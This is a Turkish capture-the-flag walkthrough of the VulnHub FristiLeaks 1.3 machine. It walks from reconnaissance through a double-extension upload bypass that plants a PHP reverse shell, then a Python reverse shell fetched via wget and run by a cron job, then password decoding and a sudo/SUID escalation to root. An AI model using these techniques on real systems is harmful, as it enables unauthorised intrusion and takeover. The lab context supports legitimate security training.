Merhaba arkadaşlar, bu yazımda vulnhub platformundaki “FristiLeaks: 1.3“ makinesini nasıl çözdüğümü anlatacağım.
Bu makinede mac adresinin Vulnhub’da gösterilen 08:00:27:A5:A6:76 Mac adresi ile ayni olmasi gerekiyor.
Makine kurulup çalışmaya başladıktan sonra IP adresini bulmamız gerekiyor. Netdiscover aracı ile ağdaki makinelerin ip adreslerini bulabiliriz.
Ağdaki cihazları bulmak için:
sudo netdiscover -P -r 192.168.1.0/24
Benim çıktımda 2 adet intel gözüküyor, bu sanal makinenin ayarlarından intel ağ kartını seçmemden dolayı oluyor. IP nin 192.168.1.198 olduğunu biliyorum.
Rustscan aracımla hızlı bir port taraması yapıyorum ve 80 portunun açık olduğunu görüyorum.
rustscan -a 192.168.1.198 --ulimit 5000
Bulduğum adrese gidince aşağıdaki siteyle karşılaşıyorum.
Nikto taraması yapıyorum ve /cola, /sisi, /beer dizinlerini buluyorum.
Girdiğim dizinlerin hepsinde aşağıdaki görsel ile karşılaşıyorum.
Bunların hepsi içecek isimleri, aklıma fristi dizinini kontrol etmek geliyor ve bir login ekranıyla karşılaşıyorum.
Sayfa kaynağına baktığımda iki şey dikkatimi çekiyor.
Birincisi, eezeepz kullanıcısının testleri kolaylaştırmak için buraya biraz ıvır zıvır bıraktım notu.
İkincisi, sayfanın sonunda eezeepz in bıraktığı base64 değeri.
Bu base64 ü decode etmeye çalıştığımda aşağıdaki çıktıyı alıyorum ve png ifadesini görüyorum. base64.guru ile base64 to image deniyorum ve aşağıdaki sonucu alıyorum.
https://base64.guru/converter/decode/image?source=post_page—–bd8cd65c091a——————————–
Bunlar login credentialları olabilir diye düşünüyorum ve düşündüğüm gibi çıkıyor. Kullanıcı adını eezeepz şifreyi ise bulduğum değer olarak giriyorum ve login oluyorum.
Girdiğim sitede bir file upload kısmı ile karşılaşıyorum ve pentestmonkey den aldığım php reverse shelli yüklüyorum fakat başarılı olamıyorum. Aldığım hata sadece png, jpg ve gif yükleyebileceğimi söylüyor.
https://github.com/pentestmonkey/php-reverse-shell?source=post_page—–bd8cd65c091a——————————–
Ben de shell dosyasına bir uzantı daha ekleyerek shell.php.png olarak değiştirip öyle yüklüyorum ve yükleniyor. Shellimi yüklediğime göre netcat aracı ile portu dinleyebilirim.
nc -nvlp 4444
Portu dinlemeye başladıktan sonra http://192.168.1.198/fristi/uploads/php-reverse-shell.php.png sayfasına gidiyorum ve shelli elde ediyorum.
whoami komutu ile hangi kullanıcıda olduğuma baktıktan sonra cd /home klasorüne gidip kullanıcılara bakıyorum.
admin klasörüne gitmeyi denediğimde yetkim olmadığı hatasını alıyorum. eezeepz kullanıcısına gidip dosyalarını incelediğimde ise notes.txt görüyorum ve cat kullanarak okuyorum.
Otomatik kontroller yapabilmen için /usr/bin/* içindeki sistemin çalıştırabileceği programlara senin için izin verdim diyor. Aynı zamanda /home/admin içinde chmod, df, cat gibi komutları kullanabileceğimizi söylüyor. eezeepz kullanıcısına bu notu Jerry bırakmış yani jerry kullanıcısına erişebilirsek admin yetkilerini elde edebiliriz.
runthis adında bir dosyayı /tmp/ içine koymamızı söylüyor. runthis dosyasında çalıştırılacak output cronresult içine giriyormuş. Bu cronun dakikada bir jerry nin yetkileriyle çalışacağını söylüyor.
ls /usr/bin komutu ile makinede nelerin yüklü olduğuna bakıyorum ve python çalıştırabildiğimi görüyorum. Yani python reverse shelli yazıp /tmp nin altına runthis olarak kaydedersem her dakika çalışacak.
Tekrardan pentestmonkeyden python shelli alıyorum ve bu kod terminalde çalışması için yazıldığından, aşağıdaki fotoğraftaki gibi düzenliyorum ve pyshell.py olarak kaydediyorum.
sudo python3 -m http.server 80 komutu ile localimde http sunucusu açıyorum.
wget http://192.168.1.168:80/pyshell.py komutu ile yazdığım shelli makineye çekiyorum.
Echo “/usr/bin/python /tmp/pyshell.py” > runthis
komutunu çalıştırıyorum.
Böylece komutu tmp klasöründeki runthis dosyasına koyuyorum ve bu bir cronjob tarafından yönetici olarak çalıştırılıyor.
Tekrardan netcat aracım ile 1234 portunu dinliyorum ve 1 dakika sonra shelli elde ediyorum. whoami komutu ile hangi kullanıcı olduğumu kontrol ediyorum ve admin olduğumu görüyorum.
python/2-3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
komutlarıyla terminalimi upgrade ediyorum.
ls komutu ile dosyaları kontrol ediyorum ve aşağıdaki dikkat çeken dosyaları görüyorum. cryptpass.py dosyasında yukarıdaki şifrelemeleri nasıl yaptığının kodlarını yazmış. Şifrelemelerde base64 ve rot13 kullandığını görüyoruz.
Bu şifrelemeyi Bash one-liner ile tersine çevirebiliriz. exploitshitten aldigim one liner ile şifreleri çözüyorum.
cat cryptedpass.txt | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d; echo
thisisalsopw123
cat whoisyourgodnow.txt | rev | tr '[A-Za-z]' '[N-ZA-Mn-za-m]' | base64 -d; echo
LetThereBeFristi!
sh-4.1$ su admin
Password: thisisalsopw123
[admin@localhost ~]$ su fristigod
Password: LetThereBeFristi!
bash-4.1$ id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)
fristigod kullanıcısına girip kullanabildiği komutlara bakmak için sudo -l diyorum ve var/fristigod/.secret_admin_stuff/doCom dikkatimi çekiyor.
Bulunduğu klasöre gidip ls -l diyorum ve bunun root kullanıcısına ait bir SUID programı olduğunu anlıyorum. ./doCom ile çalıştırdığımda ise aşağıdaki yazıyla karşılaşıyorum.
sudo -u fristi ./doCom yazdığımda benden terminal komutu istiyor
ben de sudo -u fristi ./doCom bash komutunu deniyorum ve root oluyorum
ardından flagi bulmak için /root klasörüne gidiyorum ve fristileaks_secrets.txt dosyasıyla karşılaşıyorum. cat ile okuduğumda flagi bulup makineyi tamamlıyorum.
Okuduğunuz için teşekkürler.